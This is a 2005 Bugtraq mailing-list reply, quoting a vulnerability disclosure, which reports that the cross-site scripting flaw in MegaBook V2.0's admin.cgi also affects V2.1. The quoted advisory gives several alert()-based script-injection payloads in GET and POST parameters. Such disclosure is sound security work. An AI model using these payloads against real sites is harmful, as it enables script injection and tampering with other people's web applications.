Re: MegaBook V2.0 - Cross Site Scripting Exploit

[Spy Hat <spyhat () spyhat com>]

In-Reply-To: <20050505104551.23441.qmail () www securityfocus com>

The same vulnerability also exist in the new version of MegaBook V2.1

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> From: Spy Hat <spyhat () spyhat com>
> To: bugtraq () securityfocus com
> Subject: MegaBook V2.0 - Cross Site Scripting Exploit
>
>
>
> The ultimate CGI Guestbook Scripts MegaBook V2.0 appears vulnerable to Cross Site Scripting, which will allow the 
> attacker to modify the post in the guestbook. The affected scripts is admin.cgi 
>
> URL: (http://www.(yourdomain).com/(yourcgidir)/admin.cgi) 
>
> I have tested the script with the following query:
>
> ?action=modifypost&entryid=">&lt;script&gt;alert('wvs-xss-magic-string-703410097');&lt;/script&gt;
>
> I have also tested the script with theses POST variables:
>
> action=modifypost&entryid=66&password=&lt;script&gt;alert('wvs-xss-magic-string-188784308');&lt;/script&gt;
>
> action=modifypost&entryid=66&password='>&lt;script&gt;alert('wvs-xss-magic-string-486624156');&lt;/script&gt;
>
> action=modifypost&entryid=66&password=">&lt;script&gt;alert('wvs-xss-magic-string-1852691616');&lt;/script&gt;
>
> action=modifypost&entryid=66&password=>&lt;script&gt;alert('wvs-xss-magic-string-429380114');&lt;/script&gt;
>
> action=modifypost&entryid=66&password=</textarea>&lt;script&gt;alert('wvs-xss-magic-string-723975367');&lt;/script&gt;
>
>
> Yours,
> SpyHat